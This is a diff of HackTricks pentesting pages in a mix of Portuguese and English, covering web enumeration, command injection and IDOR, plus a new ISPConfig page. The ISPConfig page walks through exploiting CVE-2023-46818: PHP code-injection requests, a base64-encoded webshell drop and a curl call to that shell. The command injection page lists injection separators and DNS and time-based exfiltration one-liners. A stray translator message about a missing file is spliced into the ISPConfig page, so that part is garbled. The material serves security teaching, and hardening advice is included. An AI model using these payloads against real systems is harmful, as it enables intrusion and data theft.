- [**Chamaleon**](https://github.com/iustin24/chameleon): It uses wapalyzer to detect used technologies and select the wordlists to use.
|
||||
|
||||
**Dicionários recomendados:**
|
||||
Recommended dictionaries:
|
||||
|
||||
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
|
||||
- [**Dicionário incluído do Dirsearch**](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
|
||||
- [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
|
||||
- [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
|
||||
- [Listas de palavras Assetnote](https://wordlists.assetnote.io)
|
||||
- [Assetnote wordlists](https://wordlists.assetnote.io)
|
||||
- [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
|
||||
- raft-large-directories-lowercase.txt
|
||||
- directory-list-2.3-medium.txt
|
||||
@ -267,43 +268,44 @@ Ferramentas:
|
||||
- _/usr/share/wordlists/dirb/big.txt_
|
||||
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
||||
|
||||
_Observe que sempre que um novo diretório for descoberto durante a força bruta ou spidering, ele deve ser forçado._
|
||||
_Observe que sempre que um novo diretório for descoberto durante brute-forcing ou spidering, ele deve ser Brute-Forced._
|
||||
|
||||
### O que verificar em cada arquivo encontrado
|
||||
### What to check on each file found
|
||||
|
||||
- [**Verificador de links quebrados**](https://github.com/stevenvachon/broken-link-checker): Encontrar links quebrados dentro de HTMLs que podem estar propensos a sequestros.
|
||||
- **Backups de Arquivos**: Uma vez que você tenha encontrado todos os arquivos, procure por backups de todos os arquivos executáveis ("_.php_", "_.aspx_"...). Variações comuns para nomear um backup são: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp e file.old._ Você também pode usar a ferramenta [**bfac**](https://github.com/mazen160/bfac) **ou** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
- **Descobrir novos parâmetros**: Você pode usar ferramentas como [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **e** [**Param Miner**](https://github.com/PortSwigger/param-miner) **para descobrir parâmetros ocultos. Se puder, você pode tentar buscar** parâmetros ocultos em cada arquivo web executável.
|
||||
- _Arjun todas as listas de palavras padrão:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Find broken links inside HTMLs that may be prone to takeovers
|
||||
- **File Backups**: Depois de encontrar todos os arquivos, procure por backups de arquivos executáveis ("_.php_", "_.aspx_"...). Variações comuns de nomes de backup são: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ Você também pode usar a tool [**bfac**](https://github.com/mazen160/bfac) **or** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
- **Discover new parameters**: Você pode usar ferramentas como [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **and** [**Param Miner**](https://github.com/PortSwigger/param-miner) **to discover hidden parameters. If you can, you could try to search** hidden parameters on each executable web file.
|
||||
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
- **Comentários:** Verifique os comentários de todos os arquivos, você pode encontrar **credenciais** ou **funcionalidade oculta**.
|
||||
- Se você estiver jogando **CTF**, um truque "comum" é **esconder** **informações** dentro de comentários à **direita** da **página** (usando **centenas** de **espaços** para que você não veja os dados se abrir o código-fonte com o navegador). Outra possibilidade é usar **várias novas linhas** e **esconder informações** em um comentário na **parte inferior** da página web.
|
||||
- **Chaves de API**: Se você **encontrar alguma chave de API**, há um guia que indica como usar chaves de API de diferentes plataformas: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
|
||||
- Chaves de API do Google: Se você encontrar alguma chave de API parecida com **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik, você pode usar o projeto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) para verificar quais APIs a chave pode acessar.
|
||||
- **Buckets S3**: Enquanto faz spidering, verifique se algum **subdomínio** ou algum **link** está relacionado a algum **bucket S3**. Nesse caso, [**verifique** as **permissões** do bucket](buckets/index.html).
|
||||
- **Comments:** Verifique os comentários de todos os arquivos; você pode encontrar **credentials** ou **hidden functionality**.
|
||||
- Se você estiver jogando em um **CTF**, um truque comum é esconder informação dentro de comentários à direita da página (usando centenas de spaces para que você não veja os dados se abrir o source code no browser). Outra possibilidade é usar várias new lines e esconder informação em um comentário no final da página web.
|
||||
- **API keys**: Se você encontrar qualquer API key há guias que mostram como usar API keys de diferentes plataformas: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
- Google API keys: If you find any API key looking like **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik you can use the project [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) to check which apis the key can access.
|
||||
- **S3 Buckets**: Enquanto faz spidering, verifique se algum subdomain ou link está relacionado a algum S3 bucket. Nesse caso, [**check** the **permissions** of the bucket](buckets/index.html).
|
||||
|
||||
### Descobertas Especiais
|
||||
### Special findings
|
||||
|
||||
**Enquanto** realiza o **spidering** e **força bruta**, você pode encontrar **coisas** **interessantes** que deve **notar**.
|
||||
Enquanto executar o spidering e o brute-forcing você pode encontrar coisas interessantes que precisa notar.
|
||||
|
||||
**Arquivos Interessantes**
|
||||
Interesting files
|
||||
|
||||
- Procure por **links** para outros arquivos dentro dos **arquivos CSS**.
|
||||
- [Se você encontrar um _**.git**_ algumas informações podem ser extraídas](git.md).
|
||||
- Se você encontrar um _**.env**_ informações como chaves de API, senhas de bancos de dados e outras informações podem ser encontradas.
|
||||
- Se você encontrar **endpoints de API**, você [também deve testá-los](web-api-pentesting.md). Estes não são arquivos, mas provavelmente "parecerão" com eles.
|
||||
- **Arquivos JS**: Na seção de spidering, várias ferramentas que podem extrair caminhos de arquivos JS foram mencionadas. Além disso, seria interessante **monitorar cada arquivo JS encontrado**, pois em algumas ocasiões, uma mudança pode indicar que uma vulnerabilidade potencial foi introduzida no código. Você poderia usar, por exemplo, [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
- Você também deve verificar os arquivos JS descobertos com [**RetireJS**](https://github.com/retirejs/retire.js/) ou [**JSHole**](https://github.com/callforpapers-source/jshole) para descobrir se são vulneráveis.
|
||||
- **Deobfuscador e Desempacotador de Javascript:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator).
|
||||
- **Embelezador de Javascript:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org).
|
||||
- **Deobfuscação JsFuck** (javascript com caracteres:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)).
|
||||
- Procure por links para outros arquivos dentro dos arquivos CSS.
|
||||
- [If you find a _**.git**_ file some information can be extracted](git.md)
|
||||
- Se você encontrar um _**.env**_ informações tais como api keys, dbs passwords e outras informações podem ser encontradas.
|
||||
- Se você encontrar **API endpoints** você [should also test them](web-api-pentesting.md). Estes não são arquivos, mas provavelmente "parecerão" com eles.
|
||||
- **JS files**: Na seção de spidering várias ferramentas que extraem paths de JS files foram mencionadas. Também seria interessante monitorar cada JS file encontrado, pois em algumas ocasiões, uma alteração pode indicar que uma potencial vulnerabilidade foi introduzida no código. Você pode usar por exemplo [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
- Você também deve verificar os JS files descobertos com [**RetireJS**](https://github.com/retirejs/retire.js/) ou [**JSHole**](https://github.com/callforpapers-source/jshole) para ver se estão vulneráveis.
|
||||
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
|
||||
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
- Em várias ocasiões, você precisará **entender as expressões regulares** usadas. Isso será útil: [https://regex101.com/](https://regex101.com) ou [https://pythonium.net/regex](https://pythonium.net/regex).
|
||||
- Você também pode **monitorar os arquivos onde formulários foram detectados**, pois uma mudança no parâmetro ou o aparecimento de um novo formulário pode indicar uma nova funcionalidade vulnerável potencial.
|
||||
- Em várias ocasiões, você precisará entender as regular expressions usadas. Isso será útil: [https://regex101.com/](https://regex101.com) ou [https://pythonium.net/regex](https://pythonium.net/regex)
|
||||
- Você também pode monitorar os arquivos onde forms foram detectados, pois uma mudança em um parâmetro ou o aparecimento de um novo form pode indicar uma nova funcionalidade potencialmente vulnerável.
|
||||
|
||||
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
|
||||
|
||||
**403 Forbidden/Autenticação Básica/401 Unauthorized (bypass)**
|
||||
|
||||
{{#ref}}
|
||||
403-and-401-bypasses.md
|
||||
@ -311,37 +313,38 @@ _Observe que sempre que um novo diretório for descoberto durante a força bruta
|
||||
|
||||
**502 Proxy Error**
|
||||
|
||||
Se alguma página **responder** com esse **código**, provavelmente é um **proxy mal configurado**. **Se você enviar uma requisição HTTP como: `GET https://google.com HTTP/1.1`** (com o cabeçalho host e outros cabeçalhos comuns), o **proxy** tentará **acessar** _**google.com**_ **e você terá encontrado um** SSRF.
|
||||
Se qualquer página responder com esse código, provavelmente é um proxy mal configurado. Se você enviar um HTTP request como: `GET https://google.com HTTP/1.1` (com o host header e outros headers comuns), o proxy tentará acessar _**google.com**_ e você terá encontrado um SSRF.
|
||||
|
||||
**Autenticação NTLM - Divulgação de informações**
|
||||
**NTLM Authentication - Info disclosure**
|
||||
|
||||
Se o servidor em execução que pede autenticação é **Windows** ou você encontra um login pedindo suas **credenciais** (e pedindo o **nome do domínio**), você pode provocar uma **divulgação de informações**.\
|
||||
**Envie** o **cabeçalho**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` e devido a como a **autenticação NTLM funciona**, o servidor responderá com informações internas (versão do IIS, versão do Windows...) dentro do cabeçalho "WWW-Authenticate".\
|
||||
Você pode **automatizar** isso usando o **plugin nmap** "_http-ntlm-info.nse_".
|
||||
Se o servidor pedindo autenticação for **Windows** ou você encontrar um login pedindo suas credentials (e pedindo o domain name), você pode provocar uma information disclosure.\
|
||||
Envie o header: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` e devido a como o NTLM authentication funciona, o servidor responderá com informações internas (versão do IIS, versão do Windows...) dentro do header "WWW-Authenticate".\
|
||||
Você pode automatizar isso usando o nmap plugin "_http-ntlm-info.nse_".
|
||||
|
||||
**Redirecionamento HTTP (CTF)**
|
||||
**HTTP Redirect (CTF)**
|
||||
|
||||
É possível **colocar conteúdo** dentro de um **Redirecionamento**. Este conteúdo **não será mostrado ao usuário** (já que o navegador executará o redirecionamento), mas algo pode estar **escondido** lá.
|
||||
É possível colocar conteúdo dentro de uma Redirection. Esse conteúdo não será mostrado ao usuário (já que o browser executará a redirection) mas algo pode estar escondido ali.
|
||||
|
||||
### Verificação de Vulnerabilidades Web
|
||||
### Web Vulnerabilities Checking
|
||||
|
||||
Agora que uma enumeração abrangente da aplicação web foi realizada, é hora de checar muitas possíveis vulnerabilidades. Você pode encontrar o checklist aqui:
|
||||
|
||||
Agora que uma enumeração abrangente da aplicação web foi realizada, é hora de verificar uma série de possíveis vulnerabilidades. Você pode encontrar a lista de verificação aqui:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/web-vulnerabilities-methodology.md
|
||||
{{#endref}}
|
||||
|
||||
Encontre mais informações sobre vulnerabilidades web em:
|
||||
Find more info about web vulns in:
|
||||
|
||||
- [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
|
||||
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
|
||||
- [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
|
||||
|
||||
### Monitorar Páginas para mudanças
|
||||
### Monitor Pages for changes
|
||||
|
||||
Você pode usar ferramentas como [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) para monitorar páginas em busca de modificações que possam inserir vulnerabilidades.
|
||||
Você pode usar ferramentas como [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) para monitorar páginas por modificações que possam inserir vulnerabilidades.
|
||||
|
||||
### Comandos Automáticos HackTricks
|
||||
### HackTricks Automatic Commands
|
||||
```
|
||||
Protocol_Name: Web #Protocol Abbreviation if there is one.
|
||||
Port_Number: 80,443 #Comma separated if there is more than one.
|
||||
|
91
src/network-services-pentesting/pentesting-web/ispconfig.md
Normal file
91
src/network-services-pentesting/pentesting-web/ispconfig.md
Normal file
@ -0,0 +1,91 @@
|
||||
# ISPConfig
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Visão geral
|
||||
|
||||
ISPConfig é um painel de controle de hospedagem open-source. Versões antigas 3.2.x incluíam um recurso de editor de arquivos de idioma que, quando ativado para o superadministrador, permitia a injeção de código PHP arbitrário via um registro de tradução malformado. Isso pode resultar em RCE no contexto do servidor web e, dependendo de como o PHP é executado, elevação de privilégios.
|
||||
|
||||
Principais caminhos padrão:
|
||||
- A raiz web costuma estar em `/var/www/ispconfig` quando servida com `php -S` ou via Apache/nginx.
|
||||
- A UI de administração é acessível no vhost HTTP(S) (às vezes vinculada apenas ao localhost; use SSH port-forward se necessário).
|
||||
|
||||
Dica: Se o painel estiver vinculado localmente (ex.: `127.0.0.1:8080`), encaminhe-o:
|
||||
```bash
|
||||
ssh -L 9001:127.0.0.1:8080 user@target
|
||||
# then browse http://127.0.0.1:9001
|
||||
```
|
||||
## Language editor PHP code injection (CVE-2023-46818)
|
||||
|
||||
- Afetado(s): ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
|
||||
- Pré-requisitos:
|
||||
- Faça login com a conta superadmin integrada `admin` (outros papéis não são afetados segundo o fornecedor)
|
||||
- O Language editor deve estar habilitado: `admin_allow_langedit=yes` em `/usr/local/ispconfig/security/security_settings.ini`
|
||||
- Impacto: Um admin autenticado pode injetar PHP arbitrário que é escrito em um arquivo de idioma e executado pela aplicação, alcançando RCE no contexto web
|
||||
|
||||
Referências: entrada NVD CVE-2023-46818 e link do advisory do fornecedor na seção Referências abaixo.
|
||||
|
||||
### Fluxo de exploração manual
|
||||
|
||||
1) Abra/crie um arquivo de idioma para obter tokens CSRF
|
||||
|
||||
Envie um primeiro POST para inicializar o formulário e extraia os campos CSRF da resposta HTML (`csrf_id`, `csrf_key`). Exemplo de caminho de requisição: `/admin/language_edit.php`.
|
||||
|
||||
2) Injete PHP via records[] e salve
|
||||
|
||||
Envie um segundo POST incluindo os campos CSRF e um registro de tradução malicioso. Provas mínimas de execução de comando:
|
||||
```http
|
||||
POST /admin/language_edit.php HTTP/1.1
|
||||
Host: 127.0.0.1:9001
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Cookie: ispconfig_auth=...
|
||||
|
||||
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
|
||||
```
|
||||
Teste fora de banda (observar ICMP):
|
||||
```http
|
||||
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
|
||||
```
|
||||
3) Escrever arquivos e drop a webshell
|
||||
|
||||
Use `file_put_contents` para criar um arquivo em um caminho acessível via web (por exemplo, `admin/`):
|
||||
```http
|
||||
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
|
||||
```
|
||||
Em seguida, escreva um webshell simples usando base64 para evitar caracteres inválidos no corpo do POST:
|
||||
```http
|
||||
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
|
||||
```
|
||||
Por favor, cole aqui o conteúdo do arquivo src/network-services-pentesting/pentesting-web/ispconfig.md que você quer que eu traduza para o português. Sem o conteúdo não consigo fazer a tradução.
|
||||
```bash
|
||||
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
|
||||
```
|
||||
Se o PHP for executado como root (por exemplo, via `php -S 127.0.0.1:8080` iniciado pelo root), isso resulta em root RCE imediato. Caso contrário, você obtém execução de código como o usuário do servidor web.
|
||||
|
||||
### PoC em Python
|
||||
|
||||
Um exploit pronto para uso automatiza token handling e payload delivery:
|
||||
- [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
|
||||
|
||||
Exemplo de execução:
|
||||
```bash
|
||||
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
|
||||
```
|
||||
### Hardening
|
||||
|
||||
- Atualize para 3.2.11p1 ou posterior
|
||||
- Desative o language editor a menos que seja estritamente necessário:
|
||||
```
|
||||
admin_allow_langedit=no
|
||||
```
|
||||
- Evite executar o painel como root; configure o PHP-FPM ou o servidor web para reduzir privilégios
|
||||
- Exija autenticação forte para a conta integrada `admin`
|
||||
|
||||
## Referências
|
||||
|
||||
- [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/)
|
||||
- [CVE-2023-46818 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818)
|
||||
- [bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
|
||||
- [HTB Nocturnal: Root via ISPConfig language editor RCE](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -2,15 +2,15 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## O que é injeção de comando?
|
||||
## O que é command Injection?
|
||||
|
||||
Uma **injeção de comando** permite a execução de comandos arbitrários do sistema operacional por um atacante no servidor que hospeda uma aplicação. Como resultado, a aplicação e todos os seus dados podem ser totalmente comprometidos. A execução desses comandos geralmente permite que o atacante obtenha acesso não autorizado ou controle sobre o ambiente da aplicação e o sistema subjacente.
|
||||
A **command injection** permite a execução de comandos arbitrários do sistema operacional por um atacante no servidor que hospeda uma aplicação. Como resultado, a aplicação e todos os seus dados podem ser totalmente comprometidos. A execução desses comandos normalmente permite que o atacante obtenha acesso não autorizado ou controle sobre o ambiente da aplicação e o sistema subjacente.
|
||||
|
||||
### Contexto
|
||||
|
||||
Dependendo de **onde sua entrada está sendo injetada**, você pode precisar **terminar o contexto entre aspas** (usando `"` ou `'`) antes dos comandos.
|
||||
Dependendo de **onde sua entrada está sendo injetada**, pode ser necessário **encerrar o contexto entre aspas** (usando `"` ou `'`) antes dos comandos.
|
||||
|
||||
## Injeção/Execução de Comando
|
||||
## Command Injection/Execution
|
||||
```bash
|
||||
#Both Unix and Windows supported
|
||||
ls||id; ls ||id; ls|| id; ls || id # Execute both
|
||||
@ -18,6 +18,7 @@ ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
|
||||
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
|
||||
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
|
||||
ls %0A id # %0A Execute both (RECOMMENDED)
|
||||
ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs)
|
||||
|
||||
#Only unix supported
|
||||
`ls` # ``
|
||||
@ -29,9 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
|
||||
> /var/www/html/out.txt #Try to redirect the output to a file
|
||||
< /etc/passwd #Try to send some input to the command
|
||||
```
|
||||
### **Limitações** Bypasses
|
||||
### **Limitação** Bypasses
|
||||
|
||||
Se você está tentando executar **comandos arbitrários dentro de uma máquina linux**, você vai se interessar em ler sobre esses **Bypasses:**
|
||||
Se você está tentando executar **comandos arbitrários dentro de uma máquina linux** ficará interessado em ler sobre estes **Bypasses:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -46,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
|
||||
```
|
||||
### Parâmetros
|
||||
|
||||
Aqui estão os 25 principais parâmetros que podem ser vulneráveis a injeção de código e vulnerabilidades semelhantes de RCE (de [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||
Aqui estão os 25 principais parâmetros que podem ser vulneráveis a code injection e vulnerabilidades RCE semelhantes (conforme [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||
```
|
||||
?cmd={payload}
|
||||
?exec={payload}
|
||||
@ -74,9 +75,9 @@ Aqui estão os 25 principais parâmetros que podem ser vulneráveis a injeção
|
||||
?run={payload}
|
||||
?print={payload}
|
||||
```
|
||||
### Exfiltração de dados baseada em tempo
|
||||
### Time based data exfiltration
|
||||
|
||||
Extraindo dados: caractere por caractere
|
||||
Extraindo dados: char por char
|
||||
```
|
||||
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
real 0m5.007s
|
||||
@ -88,9 +89,9 @@ real 0m0.002s
|
||||
user 0m0.000s
|
||||
sys 0m0.000s
|
||||
```
|
||||
### Exfiltração de dados baseada em DNS
|
||||
### DNS based data exfiltration
|
||||
|
||||
Baseado na ferramenta de `https://github.com/HoLyVieR/dnsbin` também hospedada em dnsbin.zhack.ca
|
||||
Baseado na ferramenta disponível em `https://github.com/HoLyVieR/dnsbin`, também hospedada em dnsbin.zhack.ca
|
||||
```
|
||||
1. Go to http://dnsbin.zhack.ca/
|
||||
2. Execute a simple 'ls'
|
||||
@ -100,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
|
||||
```
|
||||
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
|
||||
```
|
||||
Ferramentas online para verificar a exfiltração de dados baseada em DNS:
|
||||
Ferramentas online para verificar DNS based data exfiltration:
|
||||
|
||||
- dnsbin.zhack.ca
|
||||
- pingb.in
|
||||
|
||||
### Bypass de filtragem
|
||||
### Filtering bypass
|
||||
|
||||
#### Windows
|
||||
```
|
||||
@ -121,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad
|
||||
|
||||
### Node.js `child_process.exec` vs `execFile`
|
||||
|
||||
Ao auditar back-ends em JavaScript/TypeScript, você frequentemente encontrará a API `child_process` do Node.js.
|
||||
Ao auditar back-ends em JavaScript/TypeScript, você frequentemente encontrará a API Node.js `child_process`.
|
||||
```javascript
|
||||
// Vulnerable: user-controlled variables interpolated inside a template string
|
||||
const { exec } = require('child_process');
|
||||
@ -129,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
|
||||
/* … */
|
||||
});
|
||||
```
|
||||
`exec()` gera um **shell** (`/bin/sh -c`), portanto, qualquer caractere que tenha um significado especial para o shell (back-ticks, `;`, `&&`, `|`, `$()`, …) resultará em **injeção de comando** quando a entrada do usuário for concatenada na string.
|
||||
`exec()` inicia uma **shell** (`/bin/sh -c`), portanto qualquer caractere que tenha significado especial para a shell (back-ticks, `;`, `&&`, `|`, `$()`, …) resultará em **command injection** quando a entrada do usuário for concatenada na string.
|
||||
|
||||
**Mitigação:** use `execFile()` (ou `spawn()` sem a opção `shell`) e forneça **cada argumento como um elemento de array separado** para que nenhum shell esteja envolvido:
|
||||
**Mitigação:** use `execFile()` (ou `spawn()` sem a opção `shell`) e forneça **cada argumento como um elemento separado do array** para que nenhuma shell esteja envolvida:
|
||||
```javascript
|
||||
const { execFile } = require('child_process');
|
||||
execFile('/usr/bin/do-something', [
|
||||
@ -139,9 +140,9 @@ execFile('/usr/bin/do-something', [
|
||||
'--payload', JSON.stringify(payload)
|
||||
]);
|
||||
```
|
||||
Caso real: *Synology Photos* ≤ 1.7.0-0794 era explorável através de um evento WebSocket não autenticado que colocava dados controlados pelo atacante em `id_user`, que mais tarde foi incorporado em uma chamada `exec()`, alcançando RCE (Pwn2Own Irlanda 2024).
|
||||
Caso do mundo real: *Synology Photos* ≤ 1.7.0-0794 estava explorável através de um evento WebSocket não autenticado que colocou dados controlados pelo atacante em `id_user`, que mais tarde foram incorporados em uma chamada `exec()`, alcançando RCE (Pwn2Own Ireland 2024).
|
||||
|
||||
## Lista de Detecção de Força Bruta
|
||||
## Brute-Force Detection List
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -153,6 +154,8 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
|
||||
- [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
|
||||
- [Extração de arquivos criptografados da Synology – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
|
||||
- [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
|
||||
- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
|
||||
- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -2,22 +2,22 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) aparece quando um endpoint web ou de API divulga ou aceita um identificador controlado pelo usuário que é usado **diretamente** para acessar um objeto interno **sem verificar se o chamador está autorizado** a acessar/modificar esse objeto. A exploração bem-sucedida normalmente permite a escalada de privilégios horizontal ou vertical, como ler ou modificar dados de outros usuários e, no pior dos casos, a tomada total de conta ou exfiltração em massa de dados.
|
||||
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) aparece quando um endpoint web ou de API divulga ou aceita um identificador controlável pelo usuário que é usado **diretamente** para acessar um objeto interno **sem verificar que o chamador está autorizado** a acessar/modificar esse objeto. A exploração bem-sucedida normalmente permite horizontal ou vertical privilege-escalation, como ler ou modificar os dados de outros usuários e, no pior caso, account takeover completo ou mass-data exfiltration.
|
||||
|
||||
---
|
||||
## 1. Identificando Potenciais IDORs
|
||||
## 1. Identificando possíveis IDORs
|
||||
|
||||
1. Procure por **parâmetros que referenciam um objeto**:
|
||||
* Caminho: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
|
||||
* Consulta: `?id=42`, `?invoice=2024-00001`
|
||||
* Corpo / JSON: `{"user_id": 321, "order_id": 987}`
|
||||
* Cabeçalhos / Cookies: `X-Client-ID: 4711`
|
||||
* Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
|
||||
* Query: `?id=42`, `?invoice=2024-00001`
|
||||
